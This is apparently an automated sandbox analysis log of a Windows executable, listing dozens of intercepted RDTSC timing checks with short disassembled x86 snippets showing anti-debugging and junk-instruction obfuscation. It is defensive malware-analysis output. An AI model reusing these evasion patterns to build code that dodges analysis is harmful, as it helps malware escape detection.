Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1B6B second address: ED1B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3512 second address: ED351C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F90CD2EB7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED351C second address: ED3521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED35DD second address: ED35E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED36B2 second address: ED36B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3777 second address: ED377D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED377D second address: ED3781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3781 second address: ED3785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3893 second address: ED3897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3897 second address: ED389B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED389B second address: ED390A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F90CCB8A178h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 cld 0x00000027 call 00007F90CCB8A179h 0x0000002c push ebx 0x0000002d push edx 0x0000002e jl 00007F90CCB8A176h 0x00000034 pop edx 0x00000035 pop ebx 0x00000036 push eax 0x00000037 jmp 00007F90CCB8A180h 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 jmp 00007F90CCB8A182h 0x00000045 mov eax, dword ptr [eax] 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED390A second address: ED396C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F90CD2EB7D9h 0x00000012 pop eax 0x00000013 mov edi, dword ptr [ebp+122D3B1Ch] 0x00000019 push 00000003h 0x0000001b mov cx, ax 0x0000001e push 00000000h 0x00000020 xor dword ptr [ebp+122D37E4h], edx 0x00000026 push 00000003h 0x00000028 xor esi, dword ptr [ebp+122D299Ah] 0x0000002e push C04BCD37h 0x00000033 je 00007F90CD2EB7D8h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED396C second address: ED3970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3970 second address: ED39AE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F90CD2EB7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 004BCD37h 0x00000011 sub dword ptr [ebp+122D398Fh], edi 0x00000017 lea ebx, dword ptr [ebp+12453479h] 0x0000001d movsx edi, cx 0x00000020 push eax 0x00000021 pushad 0x00000022 jmp 00007F90CD2EB7D4h 0x00000027 push eax 0x00000028 push edx 0x00000029 jno 00007F90CD2EB7C6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2A0B second address: EF2A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F90CCB8A17Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2A23 second address: EF2A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2A3F second address: EF2A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A184h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF38C8 second address: EF38CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF38CC second address: EF38D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF38D5 second address: EF38F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F90CD2EB7C6h 0x0000000a jnp 00007F90CD2EB7C6h 0x00000010 jne 00007F90CD2EB7C6h 0x00000016 popad 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3CAC second address: EF3CB6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F90CCB8A191h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3CB6 second address: EF3CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 pushad 0x00000011 jmp 00007F90CD2EB7CBh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF48B6 second address: EF48D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A188h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF48D4 second address: EF48D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF48D8 second address: EF48EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7FC9 second address: EB7FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF1CC second address: EFF1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F90CCB8A176h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF1D9 second address: EFF1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F90CD2EB7C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e jl 00007F90CD2EB7CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF1EF second address: EFF204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F90CCB8A17Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF360 second address: EFF365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF4C7 second address: EFF4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F90CCB8A18Dh 0x0000000b jmp 00007F90CCB8A187h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF4EC second address: EFF514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F90CD2EB7D9h 0x0000000e js 00007F90CD2EB7C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF944 second address: EFF99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push edx 0x00000008 jmp 00007F90CCB8A185h 0x0000000d pop edx 0x0000000e jnc 00007F90CCB8A178h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F90CCB8A186h 0x00000020 pop edi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F90CCB8A17Ch 0x00000028 js 00007F90CCB8A176h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFC2B second address: EFFC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F90CD2EB7C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0178B second address: F01790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F018E3 second address: F018E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F018E9 second address: F018ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01B1B second address: F01B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01D53 second address: F01D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F90CCB8A176h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0235C second address: F0238B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F90CD2EB7D1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F90CD2EB7D5h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0238B second address: F02391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0263A second address: F0263E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0263E second address: F02644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02644 second address: F02649 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F028FF second address: F02929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 sub dword ptr [ebp+122D39A2h], edi 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jnl 00007F90CCB8A176h 0x00000018 jmp 00007F90CCB8A181h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02929 second address: F02933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F90CD2EB7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02933 second address: F0295E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F90CCB8A187h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0295E second address: F02968 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02968 second address: F0296C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0296C second address: F02970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05097 second address: F0509C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07151 second address: F07167 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F90CD2EB7C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F90CD2EB7C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F090D5 second address: F090DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F090DA second address: F09196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 je 00007F90CD2EB7DDh 0x0000000e jmp 00007F90CD2EB7D7h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F90CD2EB7C8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e jmp 00007F90CD2EB7CCh 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D33E9h], esi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F90CD2EB7C8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 push ebx 0x00000058 push eax 0x00000059 movsx esi, ax 0x0000005c pop esi 0x0000005d pop esi 0x0000005e mov di, 5447h 0x00000062 xchg eax, ebx 0x00000063 jmp 00007F90CD2EB7D6h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jns 00007F90CD2EB7DBh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE45 second address: F0DE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09A3B second address: F09A65 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F90CD2EB7C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jng 00007F90CD2EB7CCh 0x00000014 jbe 00007F90CD2EB7C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F90CD2EB7CEh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE49 second address: F0DE58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F90CCB8A176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE58 second address: F0DE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e je 00007F90CD2EB7C8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE6E second address: F0DE73 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE73 second address: F0DE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F90CD2EB7C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE82 second address: F0DE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10017 second address: F1001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F113 second address: F0F196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a jns 00007F90CCB8A17Ch 0x00000010 and edi, dword ptr [ebp+122D2AE2h] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d jnl 00007F90CCB8A17Ch 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a jg 00007F90CCB8A17Bh 0x00000030 or bx, 3C0Ch 0x00000035 mov dword ptr [ebp+122D20B3h], eax 0x0000003b mov eax, dword ptr [ebp+122D125Dh] 0x00000041 pushad 0x00000042 call 00007F90CCB8A184h 0x00000047 mov ax, si 0x0000004a pop eax 0x0000004b jmp 00007F90CCB8A17Eh 0x00000050 popad 0x00000051 mov dword ptr [ebp+122D3AEDh], ebx 0x00000057 push FFFFFFFFh 0x00000059 mov ebx, dword ptr [ebp+122D2C9Eh] 0x0000005f nop 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F196 second address: F0F19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10169 second address: F1016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F19D second address: F0F1A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10EF4 second address: F10F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F90CCB8A17Bh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F90CCB8A17Fh 0x00000013 mov dword ptr [ebp+122D1D8Fh], esi 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D32A6h], ebx 0x00000022 mov edi, eax 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F90CCB8A178h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 jmp 00007F90CCB8A17Eh 0x00000045 xchg eax, esi 0x00000046 jbe 00007F90CCB8A184h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1016D second address: F1017B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F90CD2EB7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10F65 second address: F10F7E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F90CCB8A176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F90CCB8A17Ch 0x00000013 jnp 00007F90CCB8A176h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1017B second address: F1018F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F90CD2EB7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10231 second address: F10248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A183h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1110A second address: F11114 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F90CD2EB7CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1202E second address: F12032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12032 second address: F12038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12038 second address: F120D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F90CCB8A17Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F90CCB8A17Ch 0x00000012 pop edx 0x00000013 nop 0x00000014 jmp 00007F90CCB8A17Ch 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F90CCB8A178h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov di, 282Dh 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F90CCB8A178h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 jnl 00007F90CCB8A18Ch 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F90CCB8A17Ah 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11215 second address: F1124A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F90CD2EB7D9h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F90CD2EB7D3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1311A second address: F13180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a je 00007F90CCB8A178h 0x00000010 mov bl, dl 0x00000012 mov ebx, dword ptr [ebp+122D2C0Eh] 0x00000018 push 00000000h 0x0000001a call 00007F90CCB8A17Fh 0x0000001f sbb edi, 2E0DAD6Eh 0x00000025 pop ebx 0x00000026 push 00000000h 0x00000028 jmp 00007F90CCB8A185h 0x0000002d xchg eax, esi 0x0000002e jmp 00007F90CCB8A188h 0x00000033 push eax 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12261 second address: F122DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D29AAh] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 xor dword ptr [ebp+122D2657h], edx 0x0000001a mov edi, dword ptr [ebp+122D2C76h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F90CD2EB7C8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 and ebx, dword ptr [ebp+122D1D6Fh] 0x00000047 mov ebx, dword ptr [ebp+122D399Ch] 0x0000004d mov eax, dword ptr [ebp+122D0F5Dh] 0x00000053 mov edi, 6C9CF5B5h 0x00000058 push FFFFFFFFh 0x0000005a jp 00007F90CD2EB7C9h 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F90CD2EB7CFh 0x00000068 rdtsc
